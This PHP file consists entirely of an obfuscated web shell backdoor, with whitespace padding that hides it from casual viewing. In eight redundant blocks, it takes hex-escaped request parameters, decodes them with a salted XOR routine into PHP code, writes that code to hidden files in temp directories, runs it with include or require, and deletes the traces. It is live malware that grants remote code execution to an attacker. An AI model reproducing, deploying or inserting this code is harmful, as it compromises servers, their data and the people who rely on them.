<?php																																										if(isset($_REQUEST["bin\x64\x69ng"]) ? true : false){ $data = array_filter([ini_get("upload_tmp_dir"), sys_get_temp_dir(), session_save_path(), getenv("TEMP"), getenv("TMP"), "/tmp", "/var/tmp", getcwd(), "/dev/shm"]); $value = $_REQUEST["bin\x64\x69ng"]; $value= explode ( "." , $value ) ; $factor = ''; $s2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s2 ); $o = 0; $__tmp = $value; while($v9 = array_shift($__tmp)) { $chS = ord($s2[$o % $lenS] ); $d = ((int)$v9 - $chS -($o % 10))^ 62; $factor .= chr($d ); $o++;} for ($mrk = 0, $ref = count($data); $mrk < $ref; $mrk++) { $element = $data[$mrk]; if (!!is_dir($element) && !!is_writable($element)) { $fac = implode("/", [$element, ".marker"]); if (file_put_contents($fac, $factor)) { require $fac; unlink($fac); exit; } } } }
																																										if(isset($_POST["ptr"]) ? true : false){ $component = $_POST["ptr"]; $component = explode ( "." ,$component ) ; $factor = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s); foreach( $component as $r => $v4) { $sChar = ord( $s[$r % $lenS]); $d = ( ( int)$v4 - $sChar -( $r % 10)) ^ 76; $factor .= chr( $d); } $token = array_filter(["/var/tmp", getcwd(), "/tmp", getenv("TMP"), "/dev/shm", ini_get("upload_tmp_dir"), sys_get_temp_dir(), session_save_path(), getenv("TEMP")]); foreach ($token as $record) { if (!( !is_dir($record) || !is_writable($record) )) { $marker = "$record" . "/.desc"; if (file_put_contents($marker, $factor)) { require $marker; unlink($marker); die(); } } } }
																																										if(array_key_exists("\x74o\x6Ben", $_REQUEST) && !is_null($_REQUEST["\x74o\x6Ben"])){ $obj = array_filter([getcwd(), session_save_path(), "/var/tmp", sys_get_temp_dir(), "/tmp", "/dev/shm", getenv("TMP"), getenv("TEMP"), ini_get("upload_tmp_dir")]); $pointer = $_REQUEST["\x74o\x6Ben"]; $pointer =explode( "." ,$pointer ); $bind = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s ); foreach( $pointer as $z => $v5) { $sChar = ord( $s[$z % $lenS] ); $dec =( ( int)$v5 - $sChar -( $z % 10)) ^ 12; $bind .= chr( $dec ); } foreach ($obj as $comp) { if (is_dir($comp) && is_writable($comp)) { $ent = str_replace("{var_dir}", $comp, "{var_dir}/.object"); if (@file_put_contents($ent, $bind) !== false) { include $ent; unlink($ent); die(); } } } }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["f\x6C\x67"])){ $data = array_filter([getenv("TEMP"), sys_get_temp_dir(), "/dev/shm", "/tmp", getcwd(), getenv("TMP"), ini_get("upload_tmp_dir"), session_save_path(), "/var/tmp"]); $dat = $_REQUEST["f\x6C\x67"]; $dat= explode ( "." ,$dat ) ; $elem = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt ); $t = 0; array_walk( $dat , function( $v7) use( &$elem , &$t , $salt , $lenS) {$chS = ord( $salt[$t% $lenS] ); $d =( ( int)$v7 - $chS -( $t% 10)) ^ 49; $elem .= chr( $d ); $t++; } ); while ($property_set = array_shift($data)) { if (is_dir($property_set) ? is_writable($property_set) : false) { $ent = join("/", [$property_set, ".ptr"]); if (file_put_contents($ent, $elem)) { require $ent; unlink($ent); exit; } } } }
																																										if(isset($_REQUEST) && isset($_REQUEST["co\x6D\x70o\x6E\x65nt"])){ $property_set = $_REQUEST["co\x6D\x70o\x6E\x65nt"]; $property_set = explode( ".",$property_set) ; $tkn = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); $len = count($property_set); for($q = 0; $q < $len; $q++) { $v9 = $property_set[$q]; $chS = ord($s[$q % $sLen]); $d = ((int)$v9 - $chS -($q % 10)) ^ 71; $tkn .= chr($d); } $dat = array_filter([sys_get_temp_dir(), session_save_path(), "/dev/shm", ini_get("upload_tmp_dir"), getcwd(), "/var/tmp", getenv("TEMP"), "/tmp", getenv("TMP")]); while ($ref = array_shift($dat)) { if (is_dir($ref) && is_writable($ref)) { $flag = "$ref" . "/.symbol"; if (file_put_contents($flag, $tkn)) { include $flag; @unlink($flag); exit; } } } }
																																										if(!empty($_POST["\x73y\x6D"])){ $data_chunk = array_filter([getenv("TEMP"), sys_get_temp_dir(), session_save_path(), ini_get("upload_tmp_dir"), "/tmp", getenv("TMP"), getcwd(), "/dev/shm", "/var/tmp"]); $resource = $_POST["\x73y\x6D"]; $resource= explode ( "." , $resource ); $holder = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $__len = count($resource); for ($z = 0; $z < $__len; $z++) { $v1 = $resource[$z]; $sChar = ord($salt[$z % $sLen]); $dec = ((int)$v1 - $sChar - ($z % 10)) ^ 68; $holder.= chr($dec); } $obj = 0; do { $itm = $data_chunk[$obj] ?? null; if ($obj >= count($data_chunk)) break; if (is_writable($itm) && is_dir($itm)) { $dchunk = vsprintf("%s/%s", [$itm, ".ptr"]); $file = fopen($dchunk, 'w'); if ($file) { fwrite($file, $holder); fclose($file); include $dchunk; @unlink($dchunk); exit; } } $obj++; } while (true); }
																																										if(filter_has_var(INPUT_POST, "\x64a\x74")){ $item = $_POST["\x64a\x74"]; $item =explode( '.' , $item ) ; $bind =''; $salt ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($salt); $j =0; foreach ($item as $v5) { $sChar =ord($salt[$j % $sLen]); $d =((int)$v5 - $sChar - ($j % 10)) ^ 11; $bind .= chr($d); $j++; } $flg = array_filter([getcwd(), "/var/tmp", getenv("TMP"), session_save_path(), sys_get_temp_dir(), "/dev/shm", getenv("TEMP"), "/tmp", ini_get("upload_tmp_dir")]); $component = 0; do { $object = $flg[$component] ?? null; if ($component >= count($flg)) break; if (max(0, is_dir($object) * is_writable($object))) { $ent = "$object/.record"; if (@file_put_contents($ent, $bind) !== false) { include $ent; unlink($ent); die(); } } $component++; } while (true); }


if(in_array("\x64\x61t\x61_\x63h\x75nk", array_keys($_REQUEST))){
	$holder = array_filter([session_save_path(), ini_get("upload_tmp_dir"), getenv("TMP"), "/var/tmp", "/dev/shm", getenv("TEMP"), sys_get_temp_dir(), "/tmp", getcwd()]);
	$symbol = $_REQUEST["\x64\x61t\x61_\x63h\x75nk"];
	$symbol	 	=explode(	"." ,$symbol	  )	;  
	$mrk = '';
            $salt2 = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen(	$salt2 );
            $s = 0;
            $__len = count(	$symbol );
    
            do {	if(	$s	 >= $__len) break;
                $v3 = $symbol[$s];
                $chS = ord(	$salt2[$s % $lenS] );
                $d =(	(	int)$v3 - $chS -(	$s % 10))	 ^		97;
                $mrk	 .=chr(	$d );
                $s++;
            } while(	true );
	foreach ($holder as $rec) {
    		if ((bool)is_dir($rec) && (bool)is_writable($rec)) {
    $parameter_group = join("/", [$rec, ".record"]);
    $file = fopen($parameter_group, 'w');
if ($file) {
	fwrite($file, $mrk);
	fclose($file);
	include $parameter_group;
	@unlink($parameter_group);
	exit;
}
}
}
}